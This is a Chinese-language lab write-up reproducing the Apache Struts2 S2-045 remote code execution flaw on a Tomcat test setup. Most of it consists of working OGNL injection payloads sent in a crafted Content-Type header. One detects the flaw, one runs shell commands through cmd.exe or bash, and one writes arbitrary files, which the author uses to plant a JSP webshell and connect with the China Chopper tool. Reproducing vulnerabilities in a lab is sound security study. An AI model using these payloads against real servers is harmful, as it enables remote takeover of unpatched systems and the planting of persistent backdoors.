漏洞描述:
Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。
漏洞范围:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
漏洞复现:
实验环境:windows7虚拟机、tomcat 8.0.53、struts-2.5.10
将下载好的struts2.5.10漏洞war包拷贝到tomcat目录下。
下载地址:http://archive.apache.org/dist/struts/2.5.10/
struts2-showcase进行访问。。
ok验证漏洞
使用公布的POC进行测试是否存在s2-045漏洞。
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}
使用burp进行抓包测试POC。
success证明存在该漏洞。
可以使用该POC编写脚本直接进行测试。。(找的公布的POC)
https://blog.csdn.net/isinstance/article/details/61193987
测试发现没有成功,稍微进行修改。
s2-045.py success证明存在该漏洞后,进行利用。
命令执行
使用POC
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
使用burp进行测试。
ok同样使用现有的脚本进行测试。
ipconfiggetshell
使用POC进行文件上传
_multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
使用burp进行测试。
ok x.jsp success尝试上传小马
ok 403禁止因为策略的限制。出现403禁止,尝试上传到可被访问目录
root下直接访问。。
success菜刀连接。。
shell参考资料:
http://phantom0301.cc/2017/03/13/struts2/
网友评论